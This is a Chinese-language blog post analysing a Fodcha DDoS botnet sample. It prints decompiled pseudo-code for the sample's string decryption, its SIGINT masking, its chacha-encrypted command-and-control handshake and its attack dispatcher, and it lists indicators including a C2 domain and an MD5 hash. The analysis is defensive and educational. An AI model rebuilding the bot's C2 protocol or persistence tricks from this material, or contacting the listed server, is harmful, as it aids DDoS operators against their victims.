fodcha 僵尸网络病毒分析

一颗小胡椒2022-05-06 07:19:14

概述

最近 fodcha 僵尸网络泛滥。fodcha 是最近新发现的快速传播型 DDos 僵尸网络,由于使用 chacha 算法加密网络流量,360 将其命名为 Fodcha[2]。该恶意软件支持多种架构,包括 x86,arm,mips 等。

本文样本来自于 MalwareBazaar (?https://bazaar.abuse.ch/)。

详细分析

使用 file 命令查看样本信息

fodcha.elf: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), statically linked, stripped

静态链接,32 位并且去除符号表

查看 main 函数

int main(int argc,char **argv)
{
  //...
  if (1 < argc) {
    FUN_0804d670();
    uVar3 = FUN_0804d640(1,&local_15);
    FUN_08051cee(1,uVar3,local_15);
    FUN_08051cee(1,&DAT_080541fc,1);
    iVar4 = FUN_080519ff();
    iVar5 = 0;
    if (iVar4 == 0) {
      FUN_080519d1(0);
      FUN_080519d1(1);
      FUN_080519d1(2);
      FUN_08052180(local_98);
      FUN_08052156(local_98,2);
      FUN_08051c3d(0,local_98,0);
      FUN_08052199(1,1);
      FUN_08052199(0xd,1);
      FUN_08052199(0x11,1);
      FUN_08052199(0x1d,1);
      FUN_08052199(0xf,1);
      FUN_08051c17();
      FUN_080519a3("/");
      uVar3 = FUN_08050f80(ppcVar2[1]);
      DAT_08055760 = FUN_08050e90();
      FUN_0804fe00();
      FUN_0804edb0(ppcVar2,iVar1);
      FUN_080517e0();
      FUN_0804f380();
      FUN_0804f7a0(uVar3);
      iVar5 = 0;
    }
  }
  return iVar5;
}

首先判断参数个数,少于 1 个不运行。这种方式可以对抗沙箱。

如果带参数,则首先运行FUN_0804d670

解密字符串

void FUN_0804d670(void){
  //...
  DAT_08055180 = (byte *)FUN_08052a54(0x10,1);
  DAT_08055184 = 0xf;
  pbVar4 = &DAT_0805422d;
  iVar1 = 0;
  do {
    bVar2 = *pbVar4;
    pbVar4 = pbVar4 + 1;
    DAT_08055180[iVar1] =
         (s_fJiFNaefsedifsaifsi_0805502c[iVar1 % 0x14] ^ bVar2) +
         (char)((int)(char)(s_fJiFNaefsedifsaifsi_0805502c[iVar1 % 0x14] ^ bVar2) / 0xff);
    iVar3 = iVar1 + 1;
    DAT_08055180[iVar1] = DAT_08055180[iVar1] ^ (byte)DAT_08055028;
    iVar1 = iVar3;
  } while (iVar3 != 0xf);
  iVar1 = 0;
  do {
    *DAT_08055180 = *DAT_08055180 ^ s_fJiFNaefsedifsaifsi_0805502c[iVar1];
    DAT_08055180[1] = DAT_08055180[1] ^ s_fJiFNaefsedifsaifsi_0805502c[iVar1];
    //...
    DAT_08055180[0xd] = DAT_08055180[0xd] ^ s_fJiFNaefsedifsaifsi_0805502c[iVar1];
    pbVar4 = (byte *)(s_fJiFNaefsedifsaifsi_0805502c + iVar1);
    iVar1 = iVar1 + 1;
    DAT_08055180[0xe] = DAT_08055180[0xe] ^ *pbVar4;
  } while (iVar1 != 0x14);
  pbVar4 = (byte *)FUN_08052a54(0xc,1);
  DAT_0805518c = 0xb;
  DAT_08055188 = pbVar4;
  *pbVar4 = (s_fJiFNaefsedifsaifsi_0805502c[0] ^ 0xe5U) +
            (char)((int)(char)(s_fJiFNaefsedifsaifsi_0805502c[0] ^ 0xe5U) / 0xff);
  bVar2 = (byte)DAT_08055028;
  *pbVar4 = *pbVar4 ^ bVar2;
  pbVar4[1] = (s_fJiFNaefsedifsaifsi_0805502c[1] ^ 0xc4U) +
              (char)((int)(char)(s_fJiFNaefsedifsaifsi_0805502c[1] ^ 0xc4U) / 0xff);
  //...
  DAT_08055188[10] = DAT_08055188[10] ^ (byte)DAT_08055028;
  do {
    *DAT_08055188 = *DAT_08055188 ^ s_fJiFNaefsedifsaifsi_0805502c[iVar1];
    DAT_08055188[1] = DAT_08055188[1] ^ s_fJiFNaefsedifsaifsi_0805502c[iVar1];
    //...
    pbVar4 = (byte *)(s_fJiFNaefsedifsaifsi_0805502c + iVar1);
    iVar1 = iVar1 + 1;
    DAT_08055188[10] = DAT_08055188[10] ^ *pbVar4;
  } while (iVar1 != 0x14);
  pbVar4 = (byte *)FUN_08052a54(7,1);
  DAT_08055194 = 6;
  DAT_08055190 = pbVar4;
  *pbVar4 = (s_fJiFNaefsedifsaifsi_0805502c[0] ^ 0xa2U) +
            (char)((int)(char)(s_fJiFNaefsedifsaifsi_0805502c[0] ^ 0xa2U) / 0xff);
  bVar2 = (byte)DAT_08055028;
  *pbVar4 = *pbVar4 ^ bVar2;
  //。。。
  iVar1 = 0;
  do {
    *DAT_08055190 = *DAT_08055190 ^ s_fJiFNaefsedifsaifsi_0805502c[iVar1];
   //。。。
    iVar1 = iVar1 + 1;
    DAT_08055190[5] = DAT_08055190[5] ^ *pbVar4;
  } while (iVar1 != 0x14);
  pbVar4 = (byte *)FUN_08052a54(6,1);
  DAT_0805519c = 5;
  DAT_08055198 = pbVar4;
  //...
  do {
    *DAT_08055198 = *DAT_08055198 ^ s_fJiFNaefsedifsaifsi_0805502c[iVar1];
    //。。。
  } while (iVar1 != 0x14);
  DAT_080551a0 = (byte *)FUN_08052a54(0xf,1);
  DAT_080551a4 = 0xe;
  pbVar4 = &DAT_0805423d;
  iVar1 = 0;
  //...
  do {
    *DAT_080551a0 = *DAT_080551a0 ^ s_fJiFNaefsedifsaifsi_0805502c[iVar1];
    DAT_080551a0[1] = DAT_080551a0[1] ^ s_fJiFNaefsedifsaifsi_0805502c[iVar1];
    ///...
    pbVar4 = (byte *)(s_fJiFNaefsedifsaifsi_0805502c + iVar1);
    iVar1 = iVar1 + 1;
    DAT_080551a0[0xd] = DAT_080551a0[0xd] ^ *pbVar4;
  } while (iVar1 != 0x14);
  pbVar4 = (byte *)FUN_08052a54(9,1);
  //...
  return;
}

可以看到这里使用了多重 xor 解密了一些数据,具体数据可以根据调试得到

pwndbg> x/32dx 0x8055180
0x8055180:	0x08056008	0x0000000f	0x08056020	0x0000000b
0x8055190:	0x08056030	0x00000006	0x08056040	0x00000005
0x80551a0:	0x08056050	0x0000000e	0x08056068	0x00000008
0x80551b0:	0x08056078	0x00000005	0x08056088	0x00000004
0x80551c0:	0x08056098	0x00000004	0x080560a8	0x00000008
0x80551d0:	0x080560b8	0x00000003	0x00000000	0x00000000
0x80551e0:	0x00000000	0x00000000	0x00000000	0x00000000
0x80551f0:	0x00000000	0x00000000	0x00000000	0x00000000
pwndbg> x/128s 0x8056008
0x8056008:	"fridgexperts.cc" ; 看起来像C2服务器地址
0x805601c:	"\021"
0x8056020:	"here we are"
0x805602c:	"\021"
0x8056030:	"/proc/"
0x805603c:	"\021"
0x8056040:	"/stat"
0x805604c:	"\031"
0x8056050:	"/proc/self/exe"
0x8056064:	"\021"
0x8056068:	"/cmdline"
0x8056074:	"\021"
0x8056078:	"/maps"
0x8056084:	"\021"
0x8056088:	"/exe"
0x8056094:	"\021"
0x8056098:	"/lib"
0x80560a4:	"\021"
0x80560a8:	"/usr/lib"
0x80560b4:	"\021"
0x80560b8:	".ri"

可以看到,0x8055180 处存储了 16 个字符串,字符串为一个结构体

struct Str{
    char *s;
    uint32_t len;
};

这样就可以分析出 FUN_0804d640 为获取第 n 个 str

char * get_str(int param_1,undefined *param_2){
  if (param_2 != (undefined *)0x0) {
    *param_2 = *(undefined *)&Str_ARRAY_08055180[param_1].len;
  }
  return Str_ARRAY_08055180[param_1].s;
}

FUN_08051cee 使用了系统调用,查一下 i386 的系统调用表[5],知道这个函数是 write。

即向命令行输出了字符串 here we are

FUN_080519ff 为 sys_fork

FUN_080519d1 为 sys_close,这里关闭了 stdin, stdout, stderr

信号处理

FUN_0805218e 为 memset,FUN_08052180 暂时分析为 clear,但是由于清除的 size 固定,所以应该是特定应用于某个结构体的

先分析 FUN_08051c3d,这里还是有个系统调用,175 对应于sys_rt_sigprocmask,查找 rt_sigprocmask 的原型,可以知道参数类型,从而推断出 FUN_08052156 为 sigaddset。

到这里可以看到,这里屏蔽了 SIGINT 信号,即 Ctrl-C 和普通 kill 命令无法停止程序

后面还有其它信号的处理操作

连接C2服务器

FUN_08051c17为setsid

然后切换到根目录

FUN_08053aeb 为 socketcall。这是 x86-32 架构的 Linux 的唯一socket API[6],原型为

int syscall(SYS_socketcall, int call, unsigned long *args);

具体操作由 call 决定。根据这个函数,就可以通过交叉引用推断出其它一系列函数。call 的定义可以从[3]中查阅。

FUN_08051f48: sys_bind
FUN_08051f73: sys_connect
FUN_08051f9e: sys_getsockname
FUN_08051fc9: sys_getsockname
FUN_08052004: sys_recv
FUN_08052037: sys_recvfrom
FUN_0805207a: sys_send
FUN_080520ad: sys_sendto
FUN_080520f0: sys_setsockopt
FUN_0805212b: sys_socket

这里连接了 8.8.8.8,

undefined4 FUN_08050e90(void)
{
  // 。。。
  
  local_c = 0x10;
  iVar1 = sys_socket(2,2,0);
  local_18 = 0;
  if (iVar1 != -1) {
    local_18 = 0x8080808;
    local_1c = 2;
    local_1a = 0x3500;
    sys_connect(iVar1,&local_1c,0x10);
    sys_getsockname(iVar1,&local_1c,&local_c);
    sys_close(iVar1);
  }
  return local_18;
}

FUN_0804fe00 获取了时间并生成随机数

void FUN_0804fe00(void)
{//...
  _DAT_08055730 = FUN_08051ae2("/dev/urandom",0);
  DAT_08055720 = FUN_08051c92(0); // time
  uVar1 = FUN_08051a25(); // getpid
  uVar2 = FUN_08051a4b(); // getppid
  DAT_08055724 = uVar1 ^ uVar2;
  DAT_08055728 = FUN_08051f0f(); // (tms0.tms_stime + tms0.tms_utime) * 10000 & 0x7fffffff
  DAT_0805572c = DAT_08055728 ^ DAT_08055724;
  return;
}

即利用 PID、PPID 和时间来生成随机数

FUN_08051d94 关闭了 /dev 的 close_on_exec 标志

这里是连接 C2 的主函数

void FUN_0804f7a0(undefined4 param_1)
{
  //...
  do {
    switch(_switch_ctl0) {
    case 0:
      FUN_0804f3c0();
      break;
    case 1:
      local_18 = 4;
      if ((((*(byte *)((int)fd_set_08055620.fds_bits +
                      ((int)(_pub_fd & 0x1f) >> 3) + (_pub_fd >> 5) * 4) >> (_pub_fd & 7) & 1) == 0)
          || (iVar2 = sys_getsockopt(_pub_fd,1,4,&local_14,&local_18), iVar2 != 0)) ||
         (local_14 != 0)) {
        _switch_ctl0 = 0;
        sys_close(_pub_fd);
        iVar2 = thunk_FUN_08053365();
        FUN_08053472(iVar2 % 5 + 2);
        if (_switch_ctl0 != 5) break;
      }
      else {
        _switch_ctl0 = 5;
      }
      FUN_0804d5c0(&pub_fd);
      _switch_ctl0 = 2;
      break;
    case 2:
      iVar2 = FUN_0804f4e0(&DAT_080555f4,0x20);
      if ((iVar2 < 1) || (iVar2 != 0x20)) {
LAB_0804faa0:
        _switch_ctl0 = 0;
        sys_close(_pub_fd);
        iVar2 = thunk_FUN_08053365();
        FUN_08053472(iVar2 % 5 + 2);
      }
      else {
        _switch_ctl0 = 3;
      }
      break;
    //。。。
    }
    iVar2 = 0x20;
    p_Var3 = fd_set_080556a0.fds_bits;
    for (; iVar2 != 0; iVar2 = iVar2 + -1) {
      *p_Var3 = 0;
      p_Var3 = p_Var3 + 1;
    }
    iVar2 = 0x20;
    p_Var3 = fd_set_08055620.fds_bits;
    for (; iVar2 != 0; iVar2 = iVar2 + -1) {
      *p_Var3 = 0;
      p_Var3 = p_Var3 + 1;
    }
    if (_switch_ctl0 < 2) {
      pbVar1 = (byte *)((int)fd_set_08055620.fds_bits +
                       ((int)(_pub_fd & 0x1f) >> 3) + (_pub_fd >> 5) * 4);
      *pbVar1 = *pbVar1 | '\x01' << (_pub_fd & 7);
    }
    else {
      pbVar1 = (byte *)((int)fd_set_080556a0.fds_bits +
                       ((int)(_pub_fd & 0x1f) >> 3) + (_pub_fd >> 5) * 4);
      *pbVar1 = *pbVar1 | '\x01' << (_pub_fd & 7);
    }
    local_28.tv_usec = 0;
    local_28.tv_sec = 5;
    iVar2 = select(_pub_fd + 1,&fd_set_080556a0,&fd_set_08055620,(fd_set *)0x0,&local_28);
    if ((iVar2 < 1) && ((_switch_ctl0 != 6 || (iVar2 = sys_time(0), _DAT_080555ec + 600 <= iVar2))))
    {
      _switch_ctl0 = 0;
      sys_close(_pub_fd);
      iVar2 = thunk_FUN_08053365();
      FUN_08053472(iVar2 % 5 + 2);
    }
  } while( true );
}

case 0: FUN_0804f3c0 负责连接 C2 服务器,可以看到端口是通过随机种子加伪随机数得到的。

void FUN_0804f3c0(void){//...
  addr.sa_data._2_4_ = 0;
  addr.sa_data._6_4_ = 0;
  addr.sa_data._10_4_ = 0;
  addr._0_4_ = 2;
  uVar1 = next_rand_num();
  addr._0_4_ = addr._0_4_ & 0xffff |
               (uint)(ushort)(ports[uVar1 % 10] >> 8 | ports[uVar1 % 10] << 8) << 0x10;
  uVar2 = get_str(0,0);
  pbVar3 = (byte *)FUN_08050860(uVar2);
  if (pbVar3 != (byte *)0x0) {
    iVar1 = *(int **)(pbVar3 + 4);
    uVar1 = next_rand_num();
    addr.sa_data._2_4_ = iVar1[uVar1 % (uint)*pbVar3];
    FUN_08050830(pbVar3);
    _pub_fd = sys_socket(AF_INET,SOCK_DGRAM,0);
    sys_fcntl(_pub_fd,4,0x800);
    connect(_pub_fd,&addr,0x10);
    _DAT_080555f0 = 1;
    return;
  }
  FUN_08050830(0);
  return;
}

端口如下

                             ports                                           XREF[1]:     FUN_0804f3c0:0804f403(R)  
        08054414 07 11 99        ushort[10]
                 20 2a 20 
                 f5 21 1d 
           08054414 [0]             1107h,  2099h,  202Ah,  21F5h
           0805441c [4]             201Dh,  AAE1h,  1DE6h,  1C9Ch
           08054424 [8]             A8DFh,   457h

case 1: 发送了一个 checksum

int __cdecl sub_804D5C0(unsigned int *a1)
{
  //...
  *(_DWORD *)v2 = 238;
  v2[4] = 0;
  *(_WORD *)&v2[3] = checksum(v2, 5);
  v3 = *(_DWORD *)v2;
  v4 = v2[4];
  send(*a1, (unsigned int)&v3, 5u, 0x4000u);
  result = 2;
  a1[260] = 2;
  return result;
}

checksum 的计算方式

for ( i = a2; i > 1; v2 += v5 )
  {
    v5 = *a1;
    i -= 2;
    ++a1;
  }
  if ( i == 1 )
    v2 += *(char *)a1;
  return (unsigned __int16)~(((unsigned int)((unsigned __int16)v2 + HIWORD(v2)) >> 16) + v2 + HIWORD(v2));

然后 case 2收取一定数量的数据,并发送一些 chacha 加密的数据

case 3:

v4 = recv_some_data((int)&timeout, (int)&unk_8055614, 0xCu);
        if ( v4 <= 0 || v4 != 12 )
        {
          switch_ctl0 = 0;
          close(fd);
          v7 = rand() % 5;
          ((void (__cdecl *)(int))loc_8053472)(v7 + 2);
        }
        switch_ctl0 = 3;
        chacha_init(v9);
        chacha(&unk_80555F4, 1, &unk_8055614, v9, v9, 5);
        send(fd, (unsigned int)v9, 5u, 0x4000u);
        switch_ctl0 = 4;
        break;

首先收取一个数据,然后使用 chacha 加密

case 4:

case 4:
        if ( recv(fd, (unsigned int)&byte_80555E4, 5u, 0x4000u) != 5 || byte_80555E4 != 85 )
        {
LABEL_21:
          switch_ctl0 = 0;
          close(fd);
          v5 = rand() % 5;
          ((void (__cdecl *)(int))loc_8053472)(v5 + 2);
        }
        dword_80555EC = sys_time(0);
        sub_804D450(&fd, a1);
        switch_ctl0 = 6;
        break;

首先收取数据,判断数据头和数据长度,再通过sub_804D450发送两个数据

sub_804D450:

v6[6] = v6;
  v2 = sub_8050D80(a2);
  *(_DWORD *)v8 = 0;
  v8[4] = 0;
  v3 = v2;
  if ( (_WORD)v2 )
    *(_WORD *)&v8[1] = __ROR2__(v2, 8);
  v8[0] = -2;
  *(_WORD *)&v8[3] = checksum((unsigned __int16 *)v8, 5u);
  v9 = *(_DWORD *)v8;
  v10 = v8[4];
  v4 = alloca(v3 + 16);
  chacha((unsigned __int8 *)(a1 + 1044), 1, (int *)(a1 + 1076), (int)a2, (int)v7, v3);
  send(*(_DWORD *)a1, (unsigned int)&v9, 5u, 0x4000u);
  return send(*(_DWORD *)a1, (unsigned int)v7, v3, 0x4000u);

即硬编码的数据,经过 checksum,再经过 chacha 算法加密,然后发送给 C2。

case 6: 只有一个函数 sub_804F640

char __usercall sub_804F640@(int a1@)
{
  //...
  LOBYTE(v1) = _bittest(&readfds.__fds_bits[(unsigned int)fd >> 5], fd & 0x1F);
  if ( (_BYTE)v1 )
  {
    v1 = recv(fd, (unsigned int)&byte_80555E4, 5u, 0x4000u);
    if ( v1 != -1 )
    {
      if ( v1 != 5 )
        goto LABEL_5;
      word_80555E5 = __ROR2__(word_80555E5, 8);
      v3 = recv_some_data(a1, (int)&unk_80551E4, word_80555E5);
      if ( word_80555E5 )
      {
        if ( v3 <= 0 )
          goto LABEL_5;
      }
      chacha(&unk_80555F4, 1, &unk_8055614, &unk_80551E4, &unk_80551E4, v3);
      if ( byte_80555E4 == -21 )
      {
        LOBYTE(v1) = sub_8048320(&fd, &unk_80551E4);
        return v1;
      }
      if ( byte_80555E4 == -5 )
        sub_805340B(1);
      if ( byte_80555E4 != 105 )
      {
LABEL_5:
        switch_ctl0 = 0;
        close(fd);
        v2 = rand() % 5;
        ((void (__cdecl *)(int))loc_8053472)(v2 + 2);
      }
      LOBYTE(v1) = sub_804D540(&fd);
    }
  }
  return v1;
}

接收一些数据,并且判断接受的数据头是不是 0x69,如果不是就退出。最后 sub_804D540 发送了和时间相关的 checksum。这个可能是心跳包。

沟通顺序为 0->1->2->3->4,最后会循环发送心跳包

case 6 还负责接收命令,命令表格如下

命令含义0x69心跳0xFB退出0xEBDDos攻击

Ddos函数

int __cdecl sub_8048320(int a1, int a2)
{
  //...
  result = fork();
  if ( !result )
  {
    if ( !fork() )
      ((void (__cdecl *)(int))loc_8053472)(v20);
    switch ( atk_type )
    {
      case 0:
        sub_804BC60(&atk_type);
      case 2:
        sub_804A990(&atk_type);
        break;
      case 3:
        sub_8048940(&atk_type);
        break;
      case 4:
        sub_804A2E0(&atk_type);
      case 5:
        sub_8049A60(&atk_type);
        break;
      case 6:
        sub_8049E70(&atk_type);
        break;
      case 7:
        sub_804B320(&atk_type);
        break;
      case 8:
        sub_8049560(&atk_type);
        break;
      case 9:
        sub_804AC60(&atk_type);
      case 10:
        sub_80485A0(&atk_type);
      case 11:
      case 12:
        sub_804B8B0(&atk_type);
      case 13:
        sub_804C010(&atk_type);
      case 14:
        sub_804C470(&atk_type);
        break;
      case 15:
        sub_804C880(&atk_type);
        break;
      case 16:
        sub_8048E60(&atk_type);
        break;
      case 17:
        sub_8049180(&atk_type);
        break;
      default:
        break;
    }
    ((void (__cdecl *)(int))loc_8053472)(5);
  }
  return result;
}

会进行不同的攻击。具体攻击类型期待学到更多的 DDos 漏洞知识再探索。

总结

这种静态链接的文件比较难的地方就是各种运行时库,个人觉得突破口就是系统调用以及 Linux 这种开源代码的在线源码阅读器。但是依然会导致分析困难。更好的做法是使用静态链接库签名或二进制比对,可以更高效更准确地识别静态链接库。一般这种 botnet 功能较为简单,但是静态链接导致分析难度加大了。

该 Botnet 利用了多种 DDos 漏洞进行传播,并且使用 Linux 信号机制防止自己被杀死,便于在肉鸡上长久驻留。由于本人能力有限,还有诸多细节未分析到位。待能力成长会再次分析。

IoC

项目md5fodcha.elff1fefc5343680c40940ea1fbf99ab61dc2服务器fridgexperts.cc

参考资料

[1] radare2 book:https://book.rada.re/

[2] CNCERT:关于Fodcha僵尸网络大规模传播的风险提示:https://www.secrss.com/articles/41246

[3] net.h--linux source code:https://elixir.bootlin.com/linux/latest/source/include/uapi/linux/net.h#L27

[4] 新的Fodcha DDoS僵尸网络每天针对100多名受害者--安全客:https://www.anquanke.com/post/id/272059

[5] List of Linux/i386 system calls:http://asm.sourceforge.net/syscall.html

[6] socketcall(2) — Linux manual page:https://man7.org/linux/man-pages/man2/socketcall.2.html

charfun函数
本作品采用《CC 协议》,转载必须注明作者和本文链接
关于堆栈ShellCode操作:基础理论002-利用fs寄存器寻找当前程序dll的入口:从动态运行的程序中定位所需dll003-寻找大兵LoadLibraryA:从定位到的dll中寻找所需函数地址004-被截断的shellCode:加解密,解决shellCode的零字截断问题
几乎所有Win32程序都会加载ntdll.dll和kernel32.dll这两个基础的动态链接库。64位系统首先通过选择字GS在内存中找到当前存放着指向当前线程环境块TEB。进程环境块中偏移位置为0x18的地方存放着指向PEB_LDR_DATA结构体的指针,其中,存放着已经被进程装载的动态链接库的信息。模块初始化链表 InInitializationOrderModuleList中按顺序存放着 PE 装入运行时初始化模块的信息,第一个链表结点是 ntdll.dll,第二个链表结点就是 kernel32.dll。从kernel32.dll的加载基址算起,偏移0x3C的地方就是其PE头。
该篇文章将会从我学习这项技术的视角,讲述我屡次失败的经历,一点点深入。
可以看到有两个printf函数打印了一些数据出来,我们点第一个打印的字符串。
概述最近 fodcha 僵尸网络泛滥。fodcha 是最近新发现的快速传播型 DDos 僵尸网络,由于使用 chacha 算法加密网络流量,360 将其命名为 Fodcha[2]。该恶意软件支持多种架构,包括 x86,arm,mips 等。
源码分析1、LLVM编译器简介LLVM 命名最早源自于底层虚拟机的缩写,由于命名带来的混乱,LLVM就是该项目的全称。LLVM 核心库提供了与编译器相关的支持,可以作为多种语言编译器的后台来使用。自那时以来,已经成长为LLVM的主干项目,由不同的子项目组成,其中许多是正在生产中使用的各种 商业和开源的项目,以及被广泛用于学术研究。
由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,文章作者不为此承担任何责任。 如果文章中的漏洞出现敏感内容产生了部分影响,请及时联系作者,望谅解。
前文再续,书接上一回《Windows内核提权漏洞CVE-2018-8120的分析·上》(https://www.anquanke.com/post/id/241057)。
它能够根据类的全限定名查找并获取类的相关信息,如父类、接口、字段、方法等。它可以读取DEX文件中的字符串,比如类名、方法名、字段名等,并提供相关的字符串处理功能。
Android 应用gl,使用了加固i,老版本的应用gl是js源码,新版本更新后,刚开始以为是加密了源码,分析后才知道是使用了Hermes优化引擎。Hermes优化的优化效果如下:优化前:优化后:二、前期准备2.1 绕过root检测应用gl使用了加固i,在被root 的手机上运行,闪退。绕过方法也很简单,在magisk的设置中,开启遵守排除列表,然后在配置排除列表中选择应用gl。
一颗小胡椒
暂无描述